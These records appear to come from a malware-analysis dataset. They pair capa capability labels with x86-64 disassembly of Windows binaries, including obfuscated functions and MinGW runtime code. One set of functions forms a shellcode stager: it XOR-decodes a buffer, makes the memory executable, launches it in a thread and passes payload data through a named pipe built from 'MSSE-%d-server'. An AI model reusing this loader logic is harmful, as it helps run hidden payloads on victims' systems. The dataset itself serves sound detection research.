joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140c3dd48
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + rax*2 - 0x3f64], 0xffffffffb89b601d
dec dword [rsp + rax - 0x1fa5]
inc esi
lea r8, [rbp*2 - 0x1fdf762]
rol esi, 2
not esi
dec rcx
rol r8, cl
mov qword [rsp + rax - 0x1fa6], r9
bt r8w, r8w
cdq
not dx
xor dword [rsp + rax - 0x1fa6], esi
cdq
and dword [rsp + rax*4 - 0x7ecf], eax
mov r9, qword [rsp + rax - 0x1fa6]
movsxd rsi, esi
mov qword [rsp + rax - 0x1fb6], r10
xadd al, r10b
add r11, rsi
inc rcx
sub edx, 0x9b9de901
pop rbp
pop r10
pop rbp
jp fcn.140c42c66
Function at 0x140c45198
Capabilities:
Authenticate hmac
Encode data using base64

Disassembly:
mov qword [rsp + rsi - 0x2bc], rsi
pushfq
pop rdi
mov qword [rsp + rsi*2 - 0x578], rdi
neg sil
mov rsi, rbp
mov rdi, rdx
push 0x638c1303
not byte [rsp]
inc qword [rsp]
cld
jmp 0x140c3986a

Function at 0x140c46e82
Capabilities:
Encode data using base64

Disassembly:
lea rsp, [rsp + 0x28]
jmp 0x140c29ee6

Function at 0x140c4cf38
Capabilities:
Authenticate hmac

Disassembly:
push 0xba8e7a3
shr dword [rsp + 4], 0x69
sbb word [rsp + 5], 0x3439
cmp ebx, 2
not word [rsp + 4]
jmp 0x140c5a75f
jmp 0x140c5fcde
lea rsp, [rsp + 8]
jne 0x140c2239b
push 0x73bffea4
mov rcx, rax
call fcn.140c314ee
mov r8d, 0xf4bce193
mov r10d, dword [rdi + riz]
lea rcx, [r8*2 + 0x3220b804]
movzx ebp, cx
lea rdi, [rdi + rbp - 0x7b26]
mov esi, 0x251535ba
not r8d
push r8
xor r10d, r9d
neg rsi
rol r10d, 1
add r10d, 0xf60490a8
xor r10d, 0x3c805b02
sub byte [rsp + r8*2 - 0x16863cd4], bpl
call fcn.140c1b72e
lea rsp, [rsp + 8]
jne 0x140c41e49
mov rdx, rax
jmp 0x140c31518
jmp 0x140c2e22d

Function at 0x140c50915
Capabilities:
Authenticate hmac
Encode data using base64
Parse pe header

Disassembly:
push rax
call fcn.140c1b7ff
lea eax, [rax + rdx*8 + 0x7e5922e6]
pop rdx
neg byte [rsp + rsi*2 - 0x19fbe]
mov qword [rsp + rsi*8 - 0x67ef8], r9
sal si, 0x84
adc rsi, rbp
sal bpl, 0xa7
xor dword [rsp + rcx - 0x479fcfdf], eax
movsx edx, r8b
pop r9
movsxd rax, eax
neg bp
bt r10, rcx
xchg r10w, r8w
add r11, rax
movzx eax, bpl
xor eax, eax
movzx r8d, byte [rdi + rax]
xor esi, 0x149380a8
jno 0x140c1b04e
lea rax, [rbp + rcx*2 + 0x1d1364a6]
not edx
xor esi, r9d
sar cx, 0xac
lea esi, [rsi + rdx - 0xc0fac49]
neg esi
or word [rsp + rcx*2 - 0x1fffe], 0x5a6
jg 0x140c64d14
lea esi, [rsi + rcx - 0x783b632b]
jne 0x140c403e9
mov eax, 0xde8d35b1
lea r10, [rax + rax*8 + 0x4b821a02]
movzx esi, al
mov esi, dword [rdi + rsi - 0xb1]
lea r8, [r10 + r10 - 0x4965e6fe]
sub rdi, 0xfffffffffffffffc
xor esi, r9d
shr r10b, 2
movsx ebp, r8w
movsx edx, ax
lea esi, [rsi + rax - 0x5873167c]
bts rbp, rbp
xadd ebp, r8d
movzx ecx, r10b
xor esi, 0x53984b34
cdqe
rol esi, 1
lea esi, [rax + rsi + 0x4a894fe3]
xor edx, r8d
or eax, 0x5fb5e5ac
rol esi, 2
mul rax
add r10b, r8b
adc rcx, rdx
not esi
dec cx
xchg rdx, rax
bswap esi
xadd r10w, r8w
call fcn.140c1a03c

Function at 0x140c50996
Capabilities:
Authenticate hmac
Encode data using base64
Parse pe header

Disassembly:
push 0xffffffffb33f60ab
lea rsp, [rsp + 0x18]
jne 0x140c63f74
mov edx, 0x2c29a415
lea rdx, [rdx + rdx*4 - 0x2e448b56]
mov rdx, rax
push 0xffffffffc72d368c
lea rsp, [rsp + 8]
jmp 0x140c354a4
push 0x1c1377aa
xor qword [rsp], 0xffffffff8c843523
js 0x140c6a862
mov ebp, 0xdf9d5c81
movsx r8d, bp
mov rax, qword [r8 + rbx - 0x5c81]
shr r8, 0x59
movsx edx, bpl
lea rcx, [rdx + rbp*2 + 0x32b2681c]
lea rbx, [rbx + r8 + 8]
add r8b, bpl
rol edx, 0xea
mov r8w, word [rdi + r8 - 0x81]
push rdx
adc rdi, 1
xor qword [rsp], rcx
xor r8w, r9w
mov dword [rsp], 0x59b86af
sub rbp, 0xffffffffe43b9b29
lea rcx, [rcx*8 + 0x5fbbc703]
dec r8w
ror r8w, 1
jmp 0x140c420dd
Function at 0x140c51710
Capabilities:
Encode data using base64

Disassembly:
sub rcx, rcx
lea rdi, [rdi + rcx*4 + 1]
xor r10b, r9b
inc r10b
movzx eax, cl
mov ebp, ecx
rol r10b, 1
lea r8, [rax + rcx*4 - 0x2ee0dd58]
not cl
xor r10b, 0x20
cdq
mov esi, 0x778d613e
sub r10b, 0x1c
neg r10b
push rbp
shr dword [rsp + rcx - 0xff], 0x58
xor r9b, r10b
imul word [rsp + rcx*2 - 0x1f8]
lea r10, [rsp + r10 + 8]
seto byte [rsp + rcx - 0xff]
add bpl, sil
adc dl, byte [r10 + rcx - 0xff]
lea rbx, [rbx + rcx - 0x101]
xadd rcx, rbp
mov word [rbx + rcx*4 - 0x4f4], dx
movzx edx, sil
mov r8d, dword [rdi + rcx*2 - 0x27a]
lea rdi, [rdi + rcx - 0x139]
cdqe
setp byte [rsp + rcx*2 - 0x277]
sar qword [rsp + rax], 0x7d
xor r8d, r9d
or byte [rsp + rcx - 0x139], dl
ror r8d, 3
sal dword [rsp + rcx*4 - 0x4f0], 6
lea r8d, [rax + r8 + 0x9244a31]
ror r8d, 3
inc cl
cmovge rcx, rsi
inc r8d
movsx r10d, al
shr cx, 0x21
sbb rax, rsi
mov qword [rsp + rcx - 0x778d309f], r9
jnp 0x140c67852
rol r10w, 0x4f
mov qword [rsp + rsi*2 + 0x64948082], r9
neg esi
xor dword [rsp + rcx - 0x4c519580], eax
bt rsi, rsi
pop r9
sbb sil, 0xf
push r10
xor r8b, r8b
movsxd rax, eax
sal r8b, 0x27
sbb dword [rsp + rcx - 0x4c51957d], r8d
bswap esi
add r11, rax
neg dword [rsp + rsi*2 - 0x64809463]
pop rbp
jno fcn.140c42c66
mov esi, dword [rdi]
mov r10d, 0xfe0f9235
add rdi, 4
movsx ecx, r10w
movzx edx, r10w
xor esi, r9d
not rdx
lea esi, [rdx + rsi + 0x2c829eda]
ror rcx, cl
neg esi
movzx ebp, cl
lea r8, [rcx + rbp*8 - 0x6757e8d7]
movzx eax, cx
not esi
imul rbp
btc r8d, edx
adc r10, rax
ror esi, 2
shl r10w, 0xb
sal edx, 0x67
push r9
jbe 0x140c2bfb6
mov r10d, 0xd8058b14
mov ecx, r10d
movzx r10d, byte [rdi + riz]
jmp 0x140c3e239
cbw
xor dword [rsp + rbp - 0xff], r8d
div cx
pop r9
neg r10b
ror rax, 0x7f
dec r10w
movsxd r8, r8d
add r11, r8
ror eax, cl
not r10b
jae fcn.140c42c66

Function at 0x140c518bf
Capabilities:
Authenticate hmac
Encode data using base64

Disassembly:
xadd ebp, r10d
lea rdx, [rsp + rdx + 0x18]
mov qword [rsp + rbp*2 - 0x32171062], rcx
cmovo rsi, rbp
ror bp, 0x42
mov byte [rdx + rbp - 0x190b620c], r8b
call fcn.140c41458

Function at 0x140c51937
Capabilities:
Encode data using base64

Disassembly:
lea rbp, [rbp + rsi - 0x8f90]
mov dword [rbp + rsi - 0x8f7c], eax
mov qword [rsp + rsi - 0x8f88], rsi
neg r10d
pop rax
mov dword [rbp + rsi*2 - 0x11f08], ebx
jb 0x140c63ad0

Function at 0x140c5ae3e
Capabilities:
Encode data using base64

Disassembly:
dec r8d
mov qword [rsp + rsi - 0x3a3a34b7], 0x4b1d7195
call fcn.140c2ec62
Function at 0x140c5ae94
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + rsi - 0xff00], rsi
rol dx, 1
inc dx
inc al
cdqe
xor dx, 0x3d8d
sub dx, 0x3823
bt rbp, r8
inc rax
neg dx
dec dx
shl al, 6
sal si, 0x64
bt rsi, r8
xor dx, 0x33b6
xor r9w, dx
sub byte [rsp + rsi - 0xeffb], r8b
btr r8, 0x1b
or cl, cl
lea rdx, [rsp + rdx + 8]
movzx r10d, byte [rsp + rsi - 0xf000]
movzx si, byte [rdx + rsi*2 - 0x1e000]
lea rbx, [rbp + rbx - 0x7d215b02]
movsx edx, byte [rsp + rax - 0x7ee69500]
neg bpl
shl r10d, 0x74
mov word [rbx + r8], si
mul byte [rsp + rax - 0x7ee694ff]
adc ecx, dword [rsp + r8 + 3]
sub qword [rsp + rax - 0x7ee60000], 0xfffffffff224f22a
pop rsi
jne fcn.140c42c66
mov r10d, 0xf62c869c
mov ecx, dword [rdi + riz]
mov eax, r10d
cbw
inc r10w
xor ecx, r9d
lea rbp, [r10 + rax + 0xe3bfbb4]
add ebp, 0xf0b250bb
cqo
adc ecx, edx
mul dx
not ecx
sbb ecx, 0xff8d9612
ror edx, 0x47
xor ecx, 0xd2b15d1f
sub ecx, 0x9e0c7533
movzx r8d, dx
mov esi, ebp
jmp 0x140c4d4cd
Function at 0x63601610
Capabilities:
Write file on windows

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [fcn.6361a030]
mov rdi, rdx
mov rsi, rcx
mov ecx, 2
call rbx
mov r8d, 0xa
mov edx, 1
lea rcx, str._nlibgomp:
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 2
call rbx
mov rdx, rsi
mov r8, rdi
mov rcx, rax
call sub.msvcrt.dll_vfprintf
mov ecx, 2
call rbx
mov ecx, 0xa
mov rdx, rax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp fcn.63619e50

Function at 0x63618970
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x636256a4]
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
test esi, esi
jle 0x63618b24
mov rax, qword [0x636256a8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x636189bc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x63618a49
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x636189a0
mov rcx, rbx
call fcn.63619640
test rax, rax
mov r12, rax
je 0x63618b59
mov rax, qword [0x636256a8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.63619770
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x636256a8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x63618b3c
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x63618a42
sub eax, 0x40
and eax, 0xffffffbf
jne 0x63618ac4
add dword [0x636256a4], 1
cmp edi, 8
jae 0x63618a80
test dil, 4
jne 0x63618b10
test edi, edi
je 0x63618a6c
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x63618b2b
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rbp]
mov qword [rbx], rax
mov eax, edi
mov rdx, qword [rbp + rax - 8]
mov qword [rbx + rax - 8], rdx
lea rax, [rbx + 8]
and rax, 0xfffffffffffffff8
sub rbx, rax
sub rbp, rbx
add ebx, edi
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x63618a6c
and ebx, 0xfffffff8
xor edx, edx
mov ecx, edx
add edx, 8
mov r8, qword [rbp + rcx]
cmp edx, ebx
mov qword [rax + rcx], r8
jb 0x63618ab0
jmp 0x63618a6c
add rsi, qword [0x636256a8]
mov rcx, qword [rsp + 0x20]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x63618a42
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.6361c560
nop dword [rax + rax]
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x63618a6c
xor esi, esi
jmp 0x636189c7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x63618a6c
mov rax, qword [0x636256a8]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rsi + 0x18]
call fcn.6361c560
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.6361c560
nop
nop dword [rax]
Function at 0x636192b0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x63625980]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x63625960]
test rbx, rbx
je 0x63619304
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x636192fb
test rsi, rsi
je 0x636192fb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x636192e0
lea rcx, [0x63625980]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x63619640
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6361fb10]
mov rdx, rcx
cmp word [r8], 0x5a4d
jne 0x636196ad
mov rcx, r8
call fcn.63619520
test eax, eax
je 0x636196ad
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x636196ad
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x636196a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x636196af
add rax, 0x28
cmp rax, r9
jne 0x63619690
xor eax, eax
add rsp, 0x28
ret

Function at 0x6361a200
Capabilities:
Query environment variable

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbp, rcx
mov r12, rdx
mov r13d, r8d
call sub.msvcrt.dll_getenv
mov rbx, rax
test rax, rax
je 0x6361a2c8
mov rdi, qword [sym.imp.msvcrt.dll_isspace]
jmp 0x6361a235
add rbx, 1
movzx ecx, byte [rbx]
mov esi, ecx
call rdi
test eax, eax
jne 0x6361a231
test sil, sil
jne 0x6361a265
mov rdx, rbp
lea rcx, str.Invalid_value_for_environment_variable__s
call fcn.63601680
xor eax, eax
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov rsi, qword [sym.imp.msvcrt.dll__errno]
call rsi
lea rdx, [rsp + 0x28]
mov r8d, 0xa
mov rcx, rbx
mov dword [rax], 0
call sub.msvcrt.dll_strtoul
mov r14d, eax
call rsi
cmp dword [rax], 0
jne 0x6361a245
movzx r13d, r13b
neg r13d
cmp r13d, r14d
jge 0x6361a245
mov rbx, qword [rsp + 0x28]
jmp 0x6361a2a9
mov qword [rsp + 0x28], rbx
movzx ecx, byte [rbx]
add rbx, 1
mov esi, ecx
call rdi
test eax, eax
jne 0x6361a2a4
test sil, sil
jne 0x6361a245
mov dword [r12], r14d
mov eax, 1
jmp 0x6361a256
xor eax, eax
jmp 0x6361a256
Function at 0x6361a2d0
Capabilities:
Query environment variable

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, rcx
mov r12, rdx
call sub.msvcrt.dll_getenv
mov rdi, qword [sym.imp.msvcrt.dll_isspace]
mov rbx, rax
test rax, rax
jne 0x6361a304
jmp 0x6361a348
add rbx, 1
movzx ecx, byte [rbx]
call rdi
test eax, eax
jne 0x6361a300
mov r8d, 4
lea rdx, str.true
mov rcx, rbx
mov rsi, qword [sym.imp.msvcrt.dll__strnicmp]
call rsi
test eax, eax
jne 0x6361a353
mov byte [r12], 1
lea rsi, [rbx + 4]
jmp 0x6361a339
add rsi, 1
movzx ecx, byte [rsi]
mov ebx, ecx
call rdi
test eax, eax
jne 0x6361a335
test bl, bl
jne 0x6361a37b
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov r8d, 5
lea rdx, str.false
mov rcx, rbx
call rsi
lea rsi, [0x6361e05a]
test eax, eax
jne 0x6361a339
mov byte [r12], 0
lea rsi, [rbx + 5]
jmp 0x6361a339
mov rdx, rbp
lea rcx, str.Invalid_value_for_environment_variable__s
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp fcn.63601680

Function at 0x6361a8e0
Capabilities:
Query environment variable

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbp, rcx
mov r12, rdx
call sub.msvcrt.dll_getenv
mov rbx, rax
test rax, rax
je 0x6361aa17
mov rdi, qword [sym.imp.msvcrt.dll_isspace]
jmp 0x6361a914
add rbx, 1
movzx ecx, byte [rbx]
mov esi, ecx
call rdi
test eax, eax
jne 0x6361a910
test sil, sil
jne 0x6361a944
mov rdx, rbp
lea rcx, str.Invalid_value_for_environment_variable__s
call fcn.63601680
xor eax, eax
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov r13, qword [sym.imp.msvcrt.dll__errno]
call r13
lea rdx, [rsp + 0x28]
mov r8d, 0xa
mov rcx, rbx
mov dword [rax], 0
call sub.msvcrt.dll_strtoul
mov esi, eax
call r13
cmp dword [rax], 0
jne 0x6361a924
mov rdx, qword [rsp + 0x28]
jmp 0x6361a985
mov qword [rsp + 0x28], rdx
movzx r14d, byte [rdx]
mov rbx, rdx
mov ecx, r14d
call rdi
lea rdx, [rbx + 1]
test eax, eax
jne 0x6361a980
test r14b, r14b
je 0x6361a9f0
mov ecx, r14d
call qword [sym.imp.msvcrt.dll_tolower]
cmp eax, 0x67
je 0x6361aa33
jle 0x6361aa1e
cmp eax, 0x6b
je 0x6361aa2b
cmp eax, 0x6d
jne 0x6361a924
mov r13d, 0x14
add rbx, 1
mov qword [rsp + 0x28], rbx
jmp 0x6361a9d6
mov qword [rsp + 0x28], rbx
movzx ecx, byte [rbx]
add rbx, 1
mov r14d, ecx
call rdi
test eax, eax
jne 0x6361a9d1
test r14b, r14b
je 0x6361a9f6
jmp 0x6361a924
mov r13d, 0xa
mov ecx, r13d
mov eax, esi
shl eax, cl
mov edx, eax
shr edx, cl
cmp edx, esi
jne 0x6361a924
mov dword [r12], eax
mov eax, 1
jmp 0x6361a935
xor eax, eax
jmp 0x6361a935
xor r13d, r13d
cmp eax, 0x62
je 0x6361a9c6
jmp 0x6361a924
mov r13d, 0xa
jmp 0x6361a9c6
mov r13d, 0x1e
jmp 0x6361a9c6
Function at 0x6361c560
Capabilities:
Write file on windows

Disassembly:
lea rcx, [0x636013a0]
jmp 0x63601380
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.6361a030
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
mov r8d, 0x1b
mov edx, 1
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.6361a030
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x63601390
Function at 0x4014f3
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov r9d, 4
movsxd rsi, edx
mov r12, rcx
mov edi, edx
mov rbp, r8
mov rdx, rsi
mov r8d, 0x3000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
xor eax, eax
jmp 0x401537
and edx, 3
mov dl, byte [rbp + rdx]
xor dl, byte [r12 + rax]
mov byte [rbx + rax], dl
inc rax
cmp eax, edi
mov edx, eax
jl 0x401526
lea r9, [rsp + 0x3c]
mov rdx, rsi
mov rcx, rbx
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r8, [0x004014f0]
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x401590
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r8d, r8d
mov r9d, 1
mov rdi, rcx
mov esi, edx
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov edx, 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rcx, [0x004089b0]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov rbx, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x40163c
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
mov rbp, qword [sym.imp.KERNEL32.dll_WriteFile]
jne 0x40162e
jmp 0x40163c
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x4c]
mov r8d, esi
mov rdx, rdi
mov rcx, rbx
call rbp
test eax, eax
je 0x401632
mov eax, dword [rsp + 0x4c]
mov edx, eax
sub esi, eax
add rdi, rdx
test esi, esi
jg 0x401606
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x401662
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov rdi, rcx
mov ebx, edx
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea rcx, [0x004089b0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
xor eax, eax
mov rbp, qword [sym.imp.KERNEL32.dll_ReadFile]
cmp rsi, 0xffffffffffffffff
jne 0x4016e7
jmp 0x4016f9
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x4c]
mov r8d, ebx
mov rdx, rdi
mov rcx, rsi
call rbp
test eax, eax
je 0x4016eb
mov eax, dword [rsp + 0x4c]
mov edx, eax
sub ebx, eax
add rdi, rdx
test ebx, ebx
jg 0x4016bf
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x401755
Capabilities:
Create thread

Disassembly:
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov r9d, 0x5c
div ecx
lea rcx, [0x004089b0]
mov r8d, 0x5c
mov dword [rsp + 0x50], 0x5c
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov dword [rsp + 0x58], edx
lea rdx, str._c_c_c_c_c_c_c_c_cMSSE__d_server
call sub.msvcrt.dll_sprintf
lea r8, [0x00401645]
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
add rsp, 0x68
jmp fcn.00401702
Function at 0x402020
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
test r8, r8
mov rbx, rcx
mov rdi, rdx
mov rsi, r8
jne 0x402050
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov ecx, dword [0x00408360]
test ecx, ecx
jle 0x402227
mov rax, qword [0x00408358]
xor ebp, ebp
nop word [rax + rax]
mov rdx, qword [rax + 8]
cmp rbx, rdx
jb 0x40208d
mov r8, qword [rax + 0x10]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x4021a0
add ebp, 1
add rax, 0x18
cmp ebp, ecx
jne 0x402070
mov rcx, rbx
call fcn.004026a0
test rax, rax
mov r12, rax
je 0x40222e
movsxd rbp, ebp
lea r13, [rbp + rbp*2]
shl r13, 3
mov rbp, r13
add rbp, qword [0x00408358]
mov qword [rbp + 0x10], rax
mov dword [rbp], 0
call fcn.00402790
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x50]
mov qword [rbp + 8], rax
mov rax, qword [0x00408358]
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rcx, qword [rax + r13 + 8]
call rbp
test rax, rax
je 0x40223d
mov eax, dword [rsp + 0x74]
cmp eax, 4
jne 0x402160
add dword [0x00408360], 1
mov r8d, 0x30
lea rdx, [rsp + 0x20]
mov rcx, rbx
call rbp
test rax, rax
je 0x40225a
mov eax, dword [rsp + 0x44]
cmp eax, 4
jne 0x4021b0
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_memcpy
cmp eax, 0x40
je 0x402110
mov r9, qword [0x00408358]
mov r8d, 0x40
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
add r9, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x402110
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00401fb0
nop dword [rax]
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualQuery]
jmp 0x402117
cmp eax, 0x40
je 0x402139
lea r9, [rsp + 0x8c]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rbp
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call sub.msvcrt.dll_memcpy
mov eax, dword [rsp + 0x44]
cmp eax, 0x40
je 0x40203d
cmp eax, 4
je 0x40203d
mov r8d, dword [rsp + 0x8c]
mov rdx, qword [rsp + 0x38]
lea r9, [rsp + 0x8c]
mov rcx, qword [rsp + 0x20]
call rbp
nop
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
xor ebp, ebp
jmp 0x402098
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.00401fb0
mov rax, qword [0x00408358]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + r13 + 8]
call fcn.00401fb0
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, rbx
mov edx, 0x30
call fcn.00401fb0
nop
nop

Function at 0x402580
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
je 0x402590
repz ret
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x402589
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x402c10
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408940]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00408968]
test rbx, rbx
je 0x402c64
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rdi
mov rbp, rax
call rsi
test eax, eax
jne 0x402c5b
test rbp, rbp
je 0x402c5b
mov rax, qword [rbx + 8]
mov rcx, rbp
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402c40
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x00408940]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax